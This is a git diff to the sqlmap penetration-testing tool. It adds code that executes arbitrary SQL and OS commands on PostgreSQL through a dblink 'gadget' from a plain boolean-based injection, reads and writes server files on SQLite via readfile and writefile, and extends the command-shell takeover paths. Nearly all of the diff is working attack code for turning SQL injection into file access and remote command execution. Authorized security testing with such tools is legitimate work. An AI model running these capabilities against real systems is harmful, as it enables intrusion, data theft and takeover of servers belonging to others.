diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 41358a27199..c5809d060a7 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -51,8 +51,8 @@ - - + + @@ -134,9 +134,13 @@ - - + + + + + + diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 51c08a7e901..7ee88f2f4a9 100644 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -53,6 +53,9 @@ * Added time-based payloads for CUBRID. * Added out-of-band DNS channels for H2 and ClickHouse. * Added PostgreSQL command execution through a PL extension. +* Added the running of non-query statements without stacked queries through a gadget. On PostgreSQL, when the `dblink` extension is present, `--sql-query`, `--file-write`, `--os-cmd`, and `--os-shell` now work from a plain (e.g. boolean-based) injection point. +* Added file read and file write support for SQLite through the `fileio` extension functions `readfile` and `writefile`. +* Added the data access and the security type of a routine to the output of `--procs` on MySQL and PostgreSQL, so a routine that runs as its definer or that modifies data stands out. * Added the tamper scripts `blindbinary`, `dollarquote`, `infoschema2innodb`, `oraclequote`, and `sign`. ## Fewer dependencies diff --git a/lib/core/option.py b/lib/core/option.py index a850ac53f4d..5cf18f71732 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2255,6 +2255,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.forkNote = None kb.futileUnion = None kb.fuzzUnionTest = None + kb.gadget = None kb.heavilyDynamic = False kb.headersFile = None kb.headersFp = {} diff --git a/lib/core/settings.py b/lib/core/settings.py index d54b7741e14..fb7a90de751 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.8.45" +VERSION = "1.10.8.50" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/inject.py b/lib/request/inject.py index 0c46ba173e9..ef2f7ccb548 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -48,6 +48,9 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries +from lib.core.convert import encodeHex +from lib.core.convert import getBytes +from lib.core.convert import getUnicode from lib.core.decorators import lockedmethod from lib.core.decorators import stackedmethod from lib.core.dicts import FROM_DUMMY_TABLE @@ -834,6 +837,36 @@ def _(value): return extractExpectedValue(value, expected) +def getGadget(): + """ + Returns a 'gadget' (a side-effecting scalar expression usable through a + regular - e.g. boolean/time-based - injection) that can run an arbitrary + statement when stacked queries are not available (e.g. dblink_exec() on + PostgreSQL). Detection is done once and cached inside 'kb.gadget'. + """ + + if kb.gadget is None: + kb.gadget = False + + dbms = Backend.getIdentifiedDbms() + + if dbms is not None and "gadgets" in queries[dbms]: + for name, gadget in queries[dbms].gadgets.__dict__.items(): + try: + available = checkBooleanExpression(gadget.check) + except Exception: + available = False + + if available: + infoMsg = "using '%s' gadget to run statement(s) as " % name + infoMsg += "stacked queries are not available" + logger.info(infoMsg) + + kb.gadget = gadget + break + + return kb.gadget or None + def goStacked(expression, silent=False): if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data: setTechnique(PAYLOAD.TECHNIQUE.STACKED) @@ -849,6 +882,18 @@ def goStacked(expression, silent=False): if conf.direct: return direct(expression) + if PAYLOAD.TECHNIQUE.STACKED not in kb.injection.data: + gadget = getGadget() + + if gadget: + warnMsg = "statement execution through a gadget is best-effort " + warnMsg += "and its result (if any) can not be retrieved" + singleTimeWarnMessage(warnMsg) + + payload = getUnicode(gadget.command) % getUnicode(encodeHex(getBytes(expression), binary=False)) + checkBooleanExpression("(%s) IS NOT NULL" % payload) + return + query = agent.prefixQuery(";%s" % expression) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index 709f6ff2e5a..d7a1ff1a78e 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -102,7 +102,7 @@ def uncPathRequest(self): def copyExecCmd(self, cmd): output = None - if isStackingAvailable() or conf.direct: + if isStackingAvailable() or conf.direct or inject.getGadget(): # Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5 self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField) diff --git a/plugins/dbms/sqlite/filesystem.py b/plugins/dbms/sqlite/filesystem.py index ad1bc2622d4..0e86a8b5de5 100644 --- a/plugins/dbms/sqlite/filesystem.py +++ b/plugins/dbms/sqlite/filesystem.py @@ -5,14 +5,85 @@ See the file 'LICENSE' for copying permission """ +from lib.core.common import singleTimeWarnMessage +from lib.core.data import kb +from lib.core.data import logger +from lib.core.decorators import cachedmethod +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import EXPECTED +from lib.core.enums import PLACE from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.request import inject from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def readFile(self, remoteFile): - errMsg = "on SQLite it is not possible to read files" - raise SqlmapUnsupportedFeatureException(errMsg) + @cachedmethod + def _checkFunction(self, name): + """ + Checks for the presence of a specific SQL function inside the back-end + DBMS (e.g. 'readfile'/'writefile' from the non-core 'fileio' extension, + as the sqlite3 command line client has those built in, while the host + application usually doesn't) + """ - def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): - errMsg = "on SQLite it is not possible to write files" - raise SqlmapUnsupportedFeatureException(errMsg) + return inject.checkBooleanExpression("(SELECT COUNT(*) FROM pragma_function_list WHERE name='%s')>0" % name) + + def nonStackedReadFile(self, remoteFile): + if not self._checkFunction("readfile"): + errMsg = "on SQLite it is not possible to read files without " + errMsg += "the 'fileio' extension function 'readfile' being " + errMsg += "available inside the back-end DBMS" + raise SqlmapUnsupportedFeatureException(errMsg) + + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) + + return inject.getValue("HEX(readfile('%s'))" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) + + def stackedReadFile(self, remoteFile): + return self.nonStackedReadFile(remoteFile) + + def nonStackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): + if not self._checkFunction("writefile"): + errMsg = "on SQLite it is not possible to write files without " + errMsg += "the 'fileio' extension function 'writefile' being " + errMsg += "available inside the back-end DBMS" + raise SqlmapUnsupportedFeatureException(errMsg) + + logger.debug("encoding file to its hexadecimal string value") + + fcEncodedList = self.fileEncode(localFile, "hex", True) + fcEncodedStr = fcEncodedList[0][2:] + fcEncodedStrLen = len(fcEncodedStr) + + if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: + warnMsg = "the injection is on a GET parameter and the file " + warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen + warnMsg += "bytes, this might cause errors in the file " + warnMsg += "writing process" + logger.warning(warnMsg) + + debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) + logger.debug(debugMsg) + + # Note: 'unhex' (SQLite >= 3.41.0) keeps the write binary-safe; the hex + # string survives sqlmap's string escaping (it becomes CHAR(...) of the + # ASCII hex digits, which 'unhex' decodes back to the original bytes) + if self._checkFunction("unhex"): + content = "unhex('%s')" % fcEncodedStr + else: + warnMsg = "back-end DBMS does not have the 'unhex' function " + warnMsg += "(SQLite >= 3.41.0); the file will be written from a " + warnMsg += "textual value and non-ASCII bytes may get corrupted" + singleTimeWarnMessage(warnMsg) + + with open(localFile, "rb") as f: + content = "'%s'" % f.read().decode("latin-1") + + inject.getValue("writefile('%s',%s)" % (remoteFile, content), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) + + def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): + return self.nonStackedWriteFile(localFile, remoteFile, fileType, forceCheck) diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index 5a2d7f159c6..c7014b7ea38 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -108,5 +108,12 @@ def checkDbms(self): return False + def checkDbmsOs(self, detailed=False): + if Backend.getOs(): + infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() + logger.info(infoMsg) + else: + self.userChooseDbmsOs() + def forceDbmsEnum(self): conf.db = "%s%s" % (DBMS.SQLITE, METADB_SUFFIX) diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index de4ef537523..cdab692375b 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -71,7 +71,7 @@ def sqlQuery(self, query): output[i] = joinValue(output[i]) return output - elif not isStackingAvailable() and not conf.direct: + elif not isStackingAvailable() and not conf.direct and not inject.getGadget(): warnMsg = "execution of non-query SQL statements is only " warnMsg += "available when stacked queries are supported" logger.warning(warnMsg) diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index be6fbd30d12..3898895aba2 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -56,6 +56,9 @@ def _checkFileLength(self, localFile, remoteFile, fileRead=False): elif Backend.isDbms(DBMS.PGSQL) and not fileRead: lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid + elif Backend.isDbms(DBMS.SQLITE): + lengthQuery = "LENGTH(readfile('%s'))" % remoteFile + elif Backend.isDbms(DBMS.MSSQL): self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField)) @@ -213,6 +216,11 @@ def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) + def nonStackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): + errMsg = "'nonStackedWriteFile' method must be defined " + errMsg += "into the specific DBMS plugin" + raise SqlmapUndefinedMethod(errMsg) + def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): errMsg = "'stackedWriteFile' method must be defined " errMsg += "into the specific DBMS plugin" @@ -234,7 +242,7 @@ def readFile(self, remoteFile): logger.debug(debugMsg) fileContent = self.stackedReadFile(remoteFile) - elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL) or Backend.isDbms(DBMS.H2): + elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL) or Backend.isDbms(DBMS.H2) or Backend.isDbms(DBMS.SQLITE): debugMsg = "going to try to read the file with non-stacked query " debugMsg += "SQL injection technique" logger.debug(debugMsg) @@ -307,6 +315,13 @@ def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): debugMsg += "stacked query technique" logger.debug(debugMsg) + written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck) + self.cleanup(onlyFileTbl=True) + elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget(): + debugMsg = "going to upload the file '%s' with " % fileType + debugMsg += "large object technique through a gadget" + logger.debug(debugMsg) + written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck) self.cleanup(onlyFileTbl=True) elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL): @@ -321,6 +336,12 @@ def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): logger.debug(debugMsg) written = self.linesTerminatedWriteFile(localFile, remoteFile, fileType, forceCheck) + elif Backend.isDbms(DBMS.SQLITE): + debugMsg = "going to upload the file '%s' with " % fileType + debugMsg += "'writefile' function" + logger.debug(debugMsg) + + written = self.nonStackedWriteFile(localFile, remoteFile, fileType, forceCheck) else: errMsg = "none of the SQL injection techniques detected can " errMsg += "be used to write files to the underlying file " diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 8bf7d185362..3af9188fe93 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -27,6 +27,7 @@ from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapUndefinedMethod from lib.core.exception import SqlmapUnsupportedDBMSException +from lib.request import inject from lib.takeover.abstraction import Abstraction from lib.takeover.icmpsh import ICMPsh from lib.takeover.metasploit import Metasploit @@ -46,6 +47,8 @@ def __init__(self): def osCmd(self): if isStackingAvailable() or conf.direct: web = False + elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget(): + web = False elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL): infoMsg = "going to use a web backdoor for command execution" logger.info(infoMsg) @@ -68,6 +71,8 @@ def osCmd(self): def osShell(self): if isStackingAvailable() or conf.direct: web = False + elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget(): + web = False elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL): infoMsg = "going to use a web backdoor for command prompt" logger.info(infoMsg)